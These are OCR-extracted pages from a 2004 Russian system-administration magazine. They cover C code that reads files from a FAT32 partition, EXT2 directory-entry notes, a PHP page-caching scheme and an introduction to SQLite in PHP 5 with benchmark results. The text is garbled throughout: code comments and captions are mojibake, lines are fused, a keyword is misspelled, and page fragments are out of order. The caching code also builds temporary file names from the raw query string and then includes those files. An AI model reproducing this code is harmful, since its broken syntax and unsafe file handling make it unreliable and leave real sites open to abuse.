while(1) {memset(tmp_name_buff, 0, SHORT_NAME);memset((void *)&sn, 0, sizeof(struct split_name));for(n = 0 ; n < SHORT_NAME; n++, i++) {

tmp_name_buff[n] = full_path[i];if((tmp_name_buff[n] == '/') || ↵↵↵↵↵

(tmp_name_buff[n] == '\0')) {i++;break;

}}tmp_name_buff[n] = '\0';if(split_name(tmp_name_buff, &sn) < 0) {

printf("not valid name\n");eturn -1;

}if(get_dentry(&sn) < 0) {

printf("No such file!\n");return -1;

}

start_cluster = (((__u32)dentry.starthi << 16) | ↵↵↵↵↵dentry.start);

if(dentry.attr & 0x10) { // ýòî êàòàëîãif(read_directory(start_cluster) < 0) return -1;continue;

}if(dentry.attr & 0x20) { // à ýòî - ôàéë

tmp_buff = (__u8 *)malloc(byte_per_cluster);n = open("clust", O_CREAT|O_RDWR, 0600);if(n < 0) {

perror("open");return -1;

}printf("file`s first cluster - 0x%X .. ", start_cluster);for(i = 0; i < num; i++) {

memset(tmp_buff, 0, byte_per_cluster);if(read_cluster(start_cluster, tmp_buff) < 0) return -1;if(write(n, tmp_buff, byte_per_cluster) < 0) {

perror("write");return -1;

}next_cluster = fat32[start_cluster];if(next_cluster == EOF_FAT32) {

free(tmp_buff);close(n);return ++i;

}start_cluster = next_cluster;

}return i;

}}

}

int read_fbs(){if(pread64(hard, (__u8 *)&fbs, sizeof(fbs), ↵↵↵↵↵

start_seek) < 0) return -1;return 0;}

int read_fs_info(){__u64 seek = (__u64)fbs.info_sector * 512 + start_seek;if(pread64(hard, (__u8 *)&fsinfo, sizeof(fsinfo), ↵↵↵↵↵

seek) < 0) return -1; return 0;}

int read_fat32(){__u64 seek = (__u64)fbs.reserved * 512 + start_seek;fat32 = (void *)malloc(fat32_size);if(!fat32) return -1;if(pread64(hard, (__u8 *)fat32, fat32_size, ↵↵↵↵↵

seek) < 0) return -1;return 0;}

int read_cluster(__u32 cluster_num, __u8 *tmp_buff){

__u64 seek = (__u64)(byte_per_cluster) * ↵↵↵↵↵(cluster_num - 2) + data_start + start_seek;

if(pread64(hard, tmp_buff, byte_per_cluster, ↵↵↵↵↵seek) < 0) return -1;

return 0;}

int read_directory(__u32 start_cluster){

int i = 2;__u32 next_cluster;

if(read_cluster(start_cluster, dir_entry) < 0) return -1;next_cluster = fat32[start_cluster];

if((next_cluster == EOF_FAT32) || (next_cluster == ↵↵↵↵↵0xFFFFFF8)) return 0;

for(; ;i++) {start_cluster = next_cluster;dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);if(!dir_entry) return -1;if(read_cluster(start_cluster, (dir_entry + (i - 1) * ↵↵↵↵↵

byte_per_cluster)) < 0) return -1;next_cluster = fat32[start_cluster];if((next_cluster == EOF_FAT32) || (next_cluster == ↵↵↵↵↵

0xFFFFFF8)) return 0;}return 0;

}

Page 56: 015 Системный Администратор 02 2004

54

администрирование

содержимом каталога элемент, соответствующий искомо-му файлу:

Указатель dir_entry настроен на область памяти, содер-жащую массив записей каталога, в котором мы собира-емся искать файл (или каталог). Для поиска организуемцикл и найденную запись поместим в глобальную струк-туру dentry:

На этом рассмотрение модуля чтения файла с разде-ла FAT32 завершим.

Исходные тексты модуля находятся в каталоге FAT32,файл fat32.c.

Отличия в организации хранения записейо файлах в каталогах для файловыхсистем FAT и EXT2Несколько слов об отличиях в организации хранения запи-сей о файлах в каталогах для файловых систем FAT и EXT2.Структура файловой системы EXT2 была рассмотрена в [3].

C FAT мы только что ознакомились – в ней все элемен-ты каталога имеют фиксированную величину. При созда-нии файла драйвер файловой системы ищет первую неза-нятую позицию и заполняет её информацией о файле. Еслидлина каталога не умещается в одном кластере, то под негоотводится ещё один кластер и т. д.

Рассмотрим, как обстоят дела в EXT2.Предположим, у нас есть раздел с файловой системой

EXT2, размер блока равен 4096 байт. На этом разделе мысоздаем каталог. Размер каталога будет равен размерублока – 4096 байт. В каталоге операционная система сра-зу создаёт две записи – запись текущего и запись роди-тельского каталогов. Запись текущего каталога займет 12байт, в то время как длина записи родительского будетравна 4084 байта. Создадим в этом каталоге какой-нибудьфайл. После этого в каталоге будут присутствовать тризаписи – запись текущего каталога длиной 12 байт, записьродительского каталога длиной уже 12 байт, и запись со-зданного файла длиной, как вы наверно догадались, 4072байт. Если мы удалим созданный файл, длина записи ро-дительского каталога опять возрастёт до 4084 байт.

Таким образом, при создании файла драйвер файловойсистемы EXT2 ищет в каталоге запись максимальной дли-ны и расщепляет её, выделяя место для новой записи. Ну, аесли всё-таки места не хватает, под каталог отводится ещёодин блок, и длина каталога становится равной 8192 байт.

И в заключение – небольшая правка к статье «Архи-тектура файловой системы EXT2» ([3]).

Эта правка касается функции определения номераinode по имени файла get_i_num(). Старый вариант этойфункции выглядел так:

Исправленный вариант:

Литература:1. В.Кулаков. Программирование на аппаратном уров-

не: специальный справочник. 2-е изд. / – СПб.: Пи-тер, 2003 г. – 848 с.

2. А.В.Гордеев, А.Ю.Молчанов. Системное программноеобеспечение / – СПб.: Питер – 2002 г.

3. В.Мешков. «Архитектура файловой системы ext2»,журнал «Системный администратор», № 11(12), но-ябрь 2003 г. – 26-32 с.

int get_dentry(struct split_name *sn){

int i = 0;

for(;;i++) {memcpy((void *)&dentry, dir_entry + i * sizeof(dentry),

sizeof(dentry));if(!(memcmp(dentry.name, sn->name, sn->name_len)) && ↵↵↵↵↵

!(memcmp(dentry.ext, sn->ext, sn->ext_len)))break;

if(!dentry.name[0]) return -1;}return 0;

}

int get_i_num(char *name){

int i = 0, rec_len = 0;struct ext2_dir_entry_2 dent;for(; i < 700; i++) {

memcpy((void *)&dent, (buff + rec_len), sizeof(dent));if(!memcmp(dent.name, name, dent.name_len)) break;rec_len += dent.rec_len;

}return dent.inode;

}

int get_i_num(char *name){/* Ïàðàìåòð ôóíêöèè � èìÿ ôàéëà. Âîçâðàùàåìîå çíà÷åíèå �* íîìåð inode ôàéëà.*/int rec_len = 0;// ýòà ñòðóêòóðà îïèñûâàåò ôîðìàò çàïèñè êîðíåâîãî êàòàëîãà:struct ext2_dir_entry_2 dent;

/* Â ãëîáàëüíîì áóôåðå buff íàõîäèòñÿ ìàññèâ çàïèñåé êàòàëîãà.* Äëÿ îïðåäåëåíèÿ ïîðÿäêîâîãî íîìåðà inode ôàéëà íåîáõîäèìî* íàéòè â ýòîì ìàññèâå çàïèñü ñ èìåíåì ýòîãî ôàéëà.* Äëÿ ýòîãî îðãàíèçóåì öèêë:*/for(;;) {

/* Êîïèðóåì â ñòðóêòóðó dent çàïèñè êàòàëîãà: */memcpy((void *)&dent, (buff + rec_len), sizeof(dent));/* Äëèíà èìåíè ôàéëà, ðàâíàÿ íóëþ, îçíà÷àåò, ÷òî ìû* ïåðåáðàëè âñå çàïèñè êàòàëîãà è çàïèñè ñ èìåíåì* íàøåãî ôàéëà íå íàøëè. Çíà÷èò, ïîðà âîçâðàùàòüñÿ:*/

if(!dent.name_len) return -1;/* Ïîèñê âûïîëíÿåòñÿ ïóòåì ñðàâíåíèÿ èìåí ôàéëîâ.* Åñëè èìåíà ñîâïàäàþò - âûõîäèì èç öèêëà:*/

if(!memcmp(dent.name, name, strlen(name))) break;/* Åñëè èìåíà íå ñîâïàëè - ñìåùàåìñÿ ê ñëåäóþùåé çàïèñè:*/

rec_len += dent.rec_len;}/*  ñëó÷àå óñïåõà âîçâðàùàåì íîìåð inode ôàéëà: */return dent.inode;

}

Page 57: 015 Системный Администратор 02 2004
Page 58: 015 Системный Администратор 02 2004

56

web

Часто при написании веб-сценариев мы забываем, что уве-личение кода, использование БД и т. п. ведёт к увеличениювремени выполнения сценария и увеличению нагрузки насервер. Одним из решений данной проблемы является кэ-ширование. Для ясности необходимо добавить, что речь неидёт о кэшировании на браузере или прокси-сервере.

Суть довольно проста, и всё сводится к сохранениювыводимой клиенту информации во временных файлах.При последующих запросах вместо выполнения оригиналь-

КЭШИРОВАНИЕ ВЕБ-СЦЕНАРИЕВ

АНДРЕЙ УВАРОВ

ного сценария будет просто выводиться содержимое этихфайлов. Итак, перейдем непосредственно к описанию ал-горитма:1. Если данный запрос был кэширован и временный файл

не устарел, то переход на 2, иначе переход на 3.2. Вывод пользователю содержимого временного фай-

ла, переход на 8.3. Перенаправление вывода в буфер (так называемая

буферизация вывода).

Page 59: 015 Системный Администратор 02 2004

57№2(15), февраль 2004

web

Приведённый пример является общим. Важным пара-метром является время, за которое наш кэш (временныйфайл) будет устаревать. При установке этого параметранеобходимо знать, насколько часто будут обновляться дан-ные по текущему запросу. Иначе возможна ситуация, ког-да пользователь будет получать интересующие его дан-ные с запозданием, или, что хуже того, некоторые дан-ные будут теряться. К примеру, время устаревания вре-менного файла равно Т, а время обновления базы дан-ных, из которой берётся информация, равно Т/2, такимобразом, пользователь не увидит тех изменений, которыепроисходили за период времени от М до М+Т, где М – вре-мя, когда произошло обновление временного файла. Нов такую ситуацию попасть можно, наверное, только побольшой невнимательности.

Но есть у кэширования и недостатки, которые необхо-димо учитывать при его использовании. Пользователь мо-жет сконструировать запрос и получить напрямую любойиз временных файлов, содержимое которых может бытьне предназначено для посторонних. Также пользовательможет переставлять переменные в запросе местами. На-пример, для запросов:

по сути являющихся одним и тем же, будут создаватьсядва временных файла, заполняя тем самым дисковое про-странство.

В заключение лишь хочется сказать, что для достиже-ния действительно высоких результатов стоит приниматьво внимание и другие решения, такие как PHP Acceleratorили управление кэшированием посредством посылки за-головков HTTP (использование функции header()).

Íà÷àëî êýøèðîâàíèÿ.<?

// cashe_begin.inc.phpif(file_exists($fname) and ↵↵↵↵↵

(time()-filemtime($fname)) < $time2live){require($fname);exit();

}ob_start();

?>Êîíåö êýøèðîâàíèÿ.<?

// cashe_end.inc.php$file= @fopen($fname, �w�);@fwrite($file, ob_get_contents());ob_end_flush(); // âûâîä ñîäåðæèìîãî áóôåðà ïîëüçîâàòåëþob_end_clean(); // î÷èñòêà áóôåðà

?>

Òåëî ñöåíàðèÿ.<?

// test.php$fname= './tmp'.'/test.php'.getenv("QUERY_STRING");

Ðèñóíîê 2

4. Тело сценария.5. Сохранение содержимого буфера во временный файл.6. Вывод содержимого буфера пользователю.7. Очистка буфера.8. Выход.

Данный алгоритм отображён в виде структурной схе-мы на рисунке:

Перейдём непосредственно к примеру.

Кешировани неустарел?

Включаетсябуферизация

вывода

Тело сценария

Очистка буфера

Вывод кэшапользователю

Выводи кэширование

Нет

Да

Ðèñóíîê 1

// â êàòàëîãå ïðèìåðà íåîáõîäèìî ñîçäàòü ïîäêàòàëîã// tmp ñ ïðàâàìè «write by others»// â ýòîì êàòàëîãå áóäóò õðàíèòüñÿ âðåìåííûå ôàéëû$time2live= 10;// óñòàíàâëèâàåì âðåìÿ îáíîâëåíèÿ êýøà â 10 ñåêóíäglobals $fname, $time2live;require('cashe_begin.inc.php');

?><?

echo "\n";echo time();echo "\n";

?><?

require("cashe_end.inc.php");?>

http://nowhere.no/index.php?id1=a&id2=bhttp://nowhere.no/index.php?id2=b&id1=a

Page 60: 015 Системный Администратор 02 2004

58

web

ИСПОЛЬЗОВАНИЕ SQLITE И PHP 5ИСПОЛЬЗОВАНИЕ SQLITE И PHP 5

ДЕНИС КОЛИСНИЧЕНКО

Page 61: 015 Системный Администратор 02 2004

59№2(15), февраль 2004

web

SQLite – альтернатива MySQLТри наиболее важных фактора веб-проектов – это быст-рота, небольшая ресурсоемкость и сравнительно малаясебестоимость. Основная масса веб-проектов не распо-лагает ни кластерной архитектурой, ни выделенным сер-вером баз данных. Под них не закупается дорогостоящеепрограммное обеспечение. Типичный веб-сайт – это не-любимый пасынок в статье расходов.

Наибольшую популярность и распространенность сре-ди веб-разработчиков давно и заслуженно обрел сервербаз данных MySQL. Он бесплатен, прост в установке, вхо-дит в состав большинства дистрибутивов Linux, почти на-верняка окажется на сервере вашего хостинг-провайде-ра. Это – рабочая лошадка Web.

Долгое время поддержка работы с MySQL была поумолчанию встроена в интерпретатор PHP. Но не все такбезоблачно. Сейчас почти повсеместно используется PHP4-й версии, но не за горами выход следующей, пятой вер-сии. И вот тут ситуация может измениться.

Из-за возникающих лицензионных проблем поддерж-ка MySQL скорее всего не будет включена в PHP 5 по умол-чанию. Так, из бета-версии PHP 5 уже удалена встроен-ная поддержка MySQL, зато появилась поддержка SQLite.

Замечание: речь идет о встроенной поддержке по умол-чанию. Возможность собрать PHP с поддержкой MySQLостается по-прежнему, но требует «дополнительных те-лодвижений». А это, согласитесь, сделает не каждый.

MySQL всегда был ориентирован на быстроту, при этомчастично жертвуя дополнительными возможностями. Разу-меется, в проектах, предполагающих более сложную струк-туру базы данных, строгий контроль целостности и сложныезапросы к базе данных, стоит использовать более развитыеСУБД, например, PostgreSQL или Sybase. Но большинствомалых и средних проектов, таких как интернет-каталог, об-новляемый прайс-лист или веб-форум, вполне позволяютобойтись компактным, слегка ограниченным, но быстрымсервером баз данных. Традиционно таким сервером и былMySQL. Подойдет ли SQLite в качестве достойной замены?

Как любой программный продукт, SQLite обладает сво-ими преимуществами и недостатками. Среди его преиму-ществ бесплатность и высокая производительность, по-мните о «трех китах» веб-программирования? Но ничтоне дается даром. Производительность SQLite достигает-ся не столько за счет уникального алгоритма, сколько из-за определенных ограничений его возможностей.

Традиционные системы управления базами данных по-строены на архитектуре клиент-сервер. Это значит, чтоклиент-приложение обращается к серверу-хранилищу дан-ных с запросом для получения данных или для выполне-ния каких-либо операций. Сервер выполняет нужные опе-рации и возвращает программе-клиенту результат своейработы. Такой подход предполагает возможность разме-щать приложение и хранилище данных на разных компь-ютерах, разделяя нагрузку на аппаратные ресурсы.

В этом смысле SQLite не является настоящим серве-ром баз данных. То есть он умеет работать только с фай-ловыми базами данных, размещенными в виде файловна локальном диске вашего компьютера. Для сравнитель-но небольших проектов это не является критичным, но сни-

жает универсальность решения и лишает нас возможнос-ти разделить нагрузку на аппаратные ресурсы между не-сколькими компьютерами.

Перечислю основные характеристики SQLite:! соответствует стандарту SQL-92. Правда, не полнос-

тью: некоторые функции не поддерживаются, но этим«грешил» и MySQL;

! база данных (включая таблицы и индексы) хранится водном едином файле;

! максимальный размер файла базы данных – 2 Тб, т.е.суммарный размер базы данных, включая таблицы дан-ных и индексы, не может превышать 2 Тб;

! существует реализация для платформ Linux и Windows;! файлы баз данных имеют универсальный формат и мо-

гут быть перенесены из одной операционной системы вдругую без потерь и дополнительных преобразований.Т.е. база данных, созданная на компьютере под управле-нием ОС Linux, может быть просто скопирована на ком-пьютер с ОС Windows и наоборот. Это большой «плюс»;

! примерно в два раза быстрее, чем PostgreSQL и MySQL.

Результаты сравнительного тестирования рассмотримв конце статьи, а пока поговорим об установке и функци-ональных возможностях SQLite.

Установка SQLiteПятая версия PHP обладает встроенной поддержкой SQLite,поэтому вам не нужно производить никаких дополнитель-ных действий по подключению SQLite к PHP5: просто заг-рузите SQLite и работайте.

Скачать SQLite можно по адресу:! http://pecl.php.net/package/SQLite! http://www.sqlite.org/

Поддержка SQLite для Windows реализована традици-онно для PHP, в виде единой библиотеки – php_sqlite.dll,скачать которую вы можете по адресу http://snaps.php.net/win32/PECL_STABLE/php_sqlite.dll

Подключение SQLite проблем не вызывает, поэтому под-робно останавливаться на нем мы не будем. Если вы рабо-таете под ОС Windows, то скачайте библиотеку php_sqlite.dll,скопируйте в каталог для модулей расширений PHP и «про-пишите» его в файле конфигурации php.ini:

Каталог модулей расширений задается директивой«extension_dir» файла конфигурации. php.ini. По умолча-нию это подкаталог «extensions» каталога, в который выустановили PHP.

Для установки SQLite для Linux скачайте файлsqlite.tar.gz (http://www.sqlite.org/sqlite.tar.gz). Затем выпол-ните следующую последовательность команд:

extension=php_sqlite.dll

# Ðàñïàêîâûâàåì àðõèâ â êàòàëîã «sqlite»tar xzf sqlite.tar.gz# Ñîçäàåì êàòàëîã äëÿ ñáîðêè SQLite � «bld»mkdir bld# Ïåðåõîäèì â ýòîò êàòàëîãcd bld# Çàïóñêàåì êîíôèãóðàòîð

Page 62: 015 Системный Администратор 02 2004

60

web

Указанная последовательность действий необязатель-на. Например, вам необязательно создавать отдельныйкаталог для сборки. Однако я настоятельно рекомендуюэто сделать, чтобы исходные коды не «перемешались» соткомпилированными модулями SQLite.

Сценарий конфигуратора configure для своей работыиспользует autoconf 2.50 и libtool, поэтому проследите,чтобы до запуска конфигуратора эти пакеты были уста-новлены в вашей системе.

В процессе работы конфигуратор проверит, установле-ны ли все необходимые для сборки и работы SQLite биб-лиотеки и программы. Если чего-то не хватает, вы увидитесоответствующее сообщение. Если же ваша система соот-ветствует требованиям конфигуратора, предупреждений непоявится, и вы можете запускать программу сборки «make».

После сборки SQLite запустите сценарий install-sh для ус-тановки SQLite, вспомогательных программ и сценариев, атакже базы данных. Вспомогательными утилитами являются:! showdb – утилита для просмотра базы данных;! showjournal – утилита для просмотра журнала базы дан-

ных;! diffdb – утилита сравнения двух баз данных.

Как уже отмечалось, SQLite работает с файловыми ба-зами данных. При этом всю базу данных SQLite хранит водном файле. В MySQL используется несколько другойподход: база данных – это каталог, содержащий файлытаблиц и индексов.

Основные функции SQLiteВ SQLite существуют аналогичные MySQL константы, от-вечающие за формирование результата выборки из базыданных:! SQLITE_ASSOC – результат будет возвращаться в виде

ассоциативного массива.! SQL_NUM – результат будет возвращен в виде спис-

ка, то есть ключи массива – числа.! SQL_BOTH – двойное индексирование элементов мас-

сива: в зависимости от вашего желания вы можетеработать с массивом так, если бы он был ассоциатив-ным, и так, если бы он был списком.

Эти константы аналогичны константам MYSQL_ASSOC,MYSQL_BOTH, MYSQL_NUM для MySQL.

Вот список основных функций для работы с SQLite,приведенный в алфавитном порядке.! sqlite_array_query – выполняет SQL-запрос и возвра-

щает результат в виде массива, тип которого задан вы-шеупомянутыми константами;

! sqlite_busy_timeout – устанавливает тайм-аут;! sqlite_changes – возвращает число записей, которые

были изменены в результате выполнения последнегоSQL-запроса;

! sqlite_close – закрывает базу данных;! sqlite_column – получает одно поле из записи, то есть воз-

вращает одну конкретно указанную колонку результата;

! sqlite_current – получает текущую запись из результата;! sqlite_error_string – возвращает текстовое описание

ошибки;! sqlite_fetch_array – получает следующую запись из мас-

сива-результата;! sqlite_fetch_single – возвращает первую колонку (поле)

записи;! sqlite_fetch_string –псевдоним для sqlite_fetch_single;! sqlite_field_name – возвращает имя поля;! sqlite_has_more – позволяет узнать, есть ли еще записи;! sqlite_last_error – возвращает код последней ошибки;! sqlite_last_insert_rowid – возвращает идентификатор

последней добавленной записи;! sqlite_libversion – возвращает версию SQLite;! sqlite_next – переходит к следующей записи;! sqlite_num_fields – возвращает число полей (колонок)

в результате;! sqlite_num_rows – возвращает число записей в резуль-

тате;! sqlite_open – открывает базу данных;! sqlite_popen – открывает «постоянное» соединение с

базой данных. Если база данных не существует, онабудет создана;

! sqlite_query – выполняет SQL-запрос и возвращаетидентификатор результата;

! sqlite_rewind – переходит к первой записи.

Остановимся на этих функциях подробнее.

Открытие и закрытие базы данныхДля открытия базы данных используется функцияsqlite_open():

Первый параметр – это имя файла таблицы, второй –режим доступа к таблице. По умолчанию используетсярежим 0666, позволяющий читать и записывать файл всемжелающим – владельцу (то есть вам), вашей группе и всемостальным пользователям. Последний параметр – этострока, в которую будет записано сообщение об ошибке,если базу данных невозможно открыть.

В случае успеха функция возвращает дескриптор базыданных, иначе – значение FALSE («ложь»).

Для того чтобы закрыть базу данных, используетсяфункция sqlite_close():

В качестве её аргумента следует указать дескрипторсоответствующей базы данных.

Замечание: несмотря на то, что механизм работы пред-полагает автоматическое закрытие используемых ресур-сов после выполнения сценария, принудительное закры-тие базы данных – хороший тон программирования. Неследует пренебрегать этой операцией. Автоматическая«сборка мусора» и закрытие ресурсов могут произойтине сразу. Это может породить некоторые неожиданныеколлизии, которые довольно сложно будет отлавливать.

resource sqlite_open ( string filename [, int mode ↵↵↵↵↵[, string &error_message]])

sqlite_close( resource dbhandle )

../sqlite/configure# Çàïóñêàåì make äëÿ ñáîðêè SQLitemake

Page 63: 015 Системный Администратор 02 2004

61№2(15), февраль 2004

web

Исключение – использование постоянного соединения сбазой данных.

Еще один способ получить доступ к базе данных –функция sqlite_popen():

Эта функция открывает «постоянное» соединение сбазой данных, её аргументы аналогичны аргументам фун-кции sqlite_open().

Функция sqlite_popen() использует механизм постоянныхресурсов PHP. Вкратце это выглядит так: вы открываетепостоянное соединение с базой данных, работаете, потомработа сценария завершается. При этом если вы не указа-ли принудительно, закрытия и освобождения ресурса непроисходит. То есть, при следующем запуске сценарияфункция popen() попытается найти открытое постоянноесоединение и, если оно существует, будет его использо-вать, а не открывать базу данных заново. При частых за-пусках сценария это позволяет повысить его производи-тельность, так не тратится время на открытие базы.

Однако при большом количестве одновременных об-ращений к базе данных взамен этой экономии вы можетеполучить накопление открытых соединений с базой дан-ных, т.е. увеличить нагрузку на внешние ресурсы систе-мы. Второй неприятный момент, с которым вы можете тутстолкнуться – некорректное завершение сценария, прикотором могут оставаться потерянные соединения с ба-зой данных. В общем, выбор между этими двумя спосо-бами требует вдумчивого подхода и некоторого анализапредполагаемой работы вашего приложения.

Выполнение запросовДля выполнения запросов к базе данных используетсяфункция sqlite_query():

Обратите внимание, что функцию можно вызывать дво-яко: или сначала указывать дескриптор базы данных, а по-том – SQL-запрос или наоборот. Кроме того, этой функцииможно непосредственно указать необязательный параметр,определяющий тип возвращаемого результата в виде ас-социативного, нумерованного или смешанного массива.

Если запрос невозможно выполнить, функцияsqlite_query() возвращает FALSE.

Функции для работы с результатомФункция sqlite_column() используется для получения толь-ко одной колонки из всего результата выборки:

Первый параметр – это результат, второй – имя поляили индекс, а третий параметр указывает на необходи-мость двоичного кодирования.

Функция sqlite_fetch_single() возвращает первое полетекущей записи:

Первый параметр – это результат, а второй – тип ре-зультата. Данная функция похожа на функциюsqlite_fetch_array(), но возвращает только первое поле, ане все поля текущей записи сразу.

Функция sqlite_array_query() выполняет SQL-запрос ивозвращает результат в виде массива:

Первый параметр – это дескриптор базы данных, вто-рой – запрос, третий – тип результата (см. константыSQLite), а третий – это флаг кодирования данных.

Функция sqlite_next() перемещает указатель результа-та на следующую запись:

Параметр result – это результат. Если функция верну-ла FALSE, значит, достигнута последняя запись.

Функция sqlite_rewind перемещает указатель резуль-тата на первую запись:

Функция sqlite_seek() переходит к записи с указаннымномером:

Если функция возвращает FALSE, значит, нет записис таким номером.

resource sqlite_popen ( string filename [, int mode ↵↵↵↵↵[, string &error_message]])

resource sqlite_query ( resource dbhandle, ↵↵↵↵↵string query [,int result_type])

resource sqlite_query ( string query, ↵↵↵↵↵resource dbhandle [,int result_type])

Ëèñòèíã 1. Îòêðûòèå è çàêðûòèå áàçû äàííûõ<?php// îòêðûâàåì áàçó äàííûõ èëè çàâåðøàåì// âûïîëíåíèå ñ ñîîáùåíèåì îá îøèáêåif ( !$db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) { die ($sqliteerror);}// ñîçäàåì òàáëèöó tblsqlite_query($db,'CREATE TABLE tbl (bar varchar(20))');// äîáàâëÿåì â òàáëèöó íîâûå çàïèñèsqlite_query($db,"INSERT INTO tbl VALUES ('val')");// ïîëó÷àåì ðåçóëüòàò â âèäå àññîöèàòèâíîãî ìàññèâà$result = sqlite_query($db,'select bar from tbl', SQLITE_ASSOC);// âûâîäèì ðåçóëüòàòvar_dump(sqlite_fetch_array($result));?>

mixed sqlite_column ( resource result, ↵↵↵↵↵mixed index_or_name [, bool decode_binary])

string sqlite_fetch_single ( resource result ↵↵↵↵↵[, int result_type [, bool decode_binary]])

Ëèñòèíã 2. Ôóíêöèÿ sqlite_fetch_single<?phpif ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {

$sql = "SELECT id FROM tbl WHERE id = 77";$res = sqlite_query($dbhandle, $sql);if (sqlite_num_rows($res) > 0) {

// ïå÷àòàåì çíà÷åíèå «77»echo sqlite_fetch_single($res);

} sqlite_close($dbhandle);}?>

array sqlite_array_query ( resource dbhandle, ↵↵↵↵↵string query [, int result_type [, bool decode_binary]])

bool sqlite_next ( resource result)

bool sqlite_rewind ( resource result)

bool sqlite_seek ( resource result, int rownum)

Page 64: 015 Системный Администратор 02 2004

62

web

Информационные функцииФункция sqlite_changes() возвращает число записей, ко-торые были изменены в результате выполнения последне-го SQL-запроса:

Функция sqlite_field_name() возвращает имя поля по егономеру:

Функция sqlite_has_more() возвращает TRUE, если ре-зультат еще содержит данные, иначе возвращается FALSE:

Функция sqlite_last_error() возвращает код последнейошибки:

а функция sqlite_error_string() – ее текстовое описание:

Функции sqlite_num_rows() и sqlite_num_fields() возвраща-ют, соответственно, число записей и полей в результате:

Другие функцииФункция sqlite_busy_timeout() позволяет установить тайм-аут ожидания для базы данных:

Напомню, что 1 секунда – это 1000 миллисекунд.

Результаты сравнительного тестированияВ первой части статьи, говоря об основных характеристи-ках SQLite, я упомянул о том, что SQLite в два раза быст-рее PostgreSQL и MySQL.

Чтобы не быть голословным, приведу результаты тес-тирования. В качестве тестовой платформы использовал-ся компьютер следующей конфигурации:! процессор – AMD 1.6 ГГц Athlon;! объем оперативной памяти – 1 Гб;! жесткий диск EIDE;! операционная система – Red Hat Linux 7.2.

Для сравнения использовались PostgreSQL версии7.1.3 и MySQL версии 3.23.41. Версия SQLite, используе-мая для тестирования, – 2.7.6.

Первый тест – вставка 1000 записей:

Второй тест – выборка без индексов:

Третий тест – выборка со сравнением строки:

int sqlite_changes ( resource dbhandle)

string sqlite_field_name ( resource result, int field_index)

bool sqlite_has_more ( resource result)

int sqlite_last_error ( resource dbhandle)

string sqlite_error_string( resource dbhandle )

int sqlite_num_rows(resource dbhandle)int sqlite_num_fields(resource dbhandle)

void sqlite_busy_timeout ( resource dbhandle, int milliseconds)

CREATE TABLE t1(a INTEGER, b INTEGER, c VARCHAR(100));INSERT INTO t1 VALUES(1,13153,'thirteen thousand ↵↵↵↵↵

one hundred fifty three');

Äèàãðàììà 1: Ðåçóëüòàòû ïåðâîãî òåñòà (â ñåêóíäàõ)

BEGIN;SELECT count(*), avg(b) FROM t2 WHERE b>=0 AND bSELECT count(*), avg(b) FROM t2 WHERE b>=100 AND b... 96 ñòðîê ïðîïóùåíîSELECT count(*), avg(b) FROM t2 WHERE b>=9800 AND bSELECT count(*), avg(b) FROM t2 WHERE b>=9900 AND bCOMMIT;

Äèàãðàììà 2: Ðåçóëüòàòû âòîðîãî òåñòà

BEGIN;SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one%';SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%two%';... 96 ñòðîê ïðîïóùåíîSELECT count(*), avg(b) FROM t2 WHERE c LIKE '%ninety nine%';SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one hundred%';COMMIT;

Äèàãðàììà 3: Ðåçóëüòàòû òðåòüåãî òåñòà

INSERT INTO t1 VALUES(2,75560,'seventy five thousand ↵↵↵↵↵five hundred sixty');

... 995 ñòðîê ïðîïóùåíîINSERT INTO t1 VALUES(998,66289,'sixty six thousand ↵↵↵↵↵

two hundred eighty nine');INSERT INTO t1 VALUES(999,24322,'twenty four thousand ↵↵↵↵↵

three hundred twenty two');INSERT INTO t1 VALUES(1000,94142,'ninety four thousand ↵↵↵↵↵

one hundred forty two');

Page 65: 015 Системный Администратор 02 2004

63№2(15), февраль 2004

web

Как вы видите, при использовании простых запросовSQLite ненамного ушел от MySQL. Он существенно бы-стрее, чем PostgreSQL, но сильная сторона последнегоне быстродействие, а большие функциональные воз-можности.

А теперь попробуем оправдать наши ожидания и по-казать, что SQLite быстрее в два раза, чем MySQL. В ка-честве тестового используем запрос, состоящий из 25 000операторов обновления (UPDATE):

Четвертый тест – обновление числовых полей:

Вот тут преимущество SQLite налицо!Этот тест обновлял только целые поля. Согласитесь –

действие несколько надуманное и не такое уж частое.Посмотрим, что будет, если нам нужно обновить 25 000текстовых полей:

Пятый тест – обновление тестовых полей:

Если сравнивать с предыдущим тестом, в которомSQLite проявил себя «шустрее» в 2,6 раза по сравнению с

BEGIN;UPDATE t2 SET b=468026 WHERE a=1;UPDATE t2 SET b=121928 WHERE a=2;... 24996 ñòðîê ïðîïóùåíîUPDATE t2 SET b=35065 WHERE a=24999;UPDATE t2 SET b=347393 WHERE a=25000;COMMIT;

Äèàãðàììà 4: Ðåçóëüòàòû ÷åòâåðòîãî òåñòà

BEGIN;UPDATE t2 SET c='one hundred forty eight thousand ↵↵↵↵↵

three hundred eighty two' WHERE a=1;UPDATE t2 SET c='three hundred sixty six thousand ↵↵↵↵↵

five hundred two' WHERE a=2;... 24996 ñòðîê ïðîïóùåíîUPDATE t2 SET c='three hundred eighty three thousand ↵↵↵↵↵

ninety nine' WHERE a=24999;UPDATE t2 SET c='two hundred fifty six thousand ↵↵↵↵↵

eight hundred thirty' WHERE a=25000;COMMIT;

Äèàãðàììà 5: Ðåçóëüòàò ïÿòîãî òåñòà

MySQL, то на этот раз SQLite оказался «проворнее» по-чти в три раза (2,899).

Приведем общую таблицу результатов тестирования,для того чтобы более наглядно оценить производитель-ность SQLite.

Более подробно о сравнительных результатах тести-рования вы можете прочитать на сайте продукта: http://www.sqlite.org.

Конечно, переход на SQLite потребует некоторых уси-лий и изменений. Придется отказаться от автоматическо-го инкремента при создании таблиц, возможности слож-ного индексирования здесь также не предусмотрены.

Но в целом, исключив автоматическую поддержкуработы с MySQL, разработчики PHP предоставили намвзамен простой, быстрый и бесплатный механизм дляработы с локальными базами данных в файловом пред-ставлении.

Òàáëèöà 1. Îáùàÿ òàáëèöà ðåçóëüòàòîâ ñðàâíèòåëüíîãî òåñòè-ðîâàíèÿ SQLite

Page 66: 015 Системный Администратор 02 2004

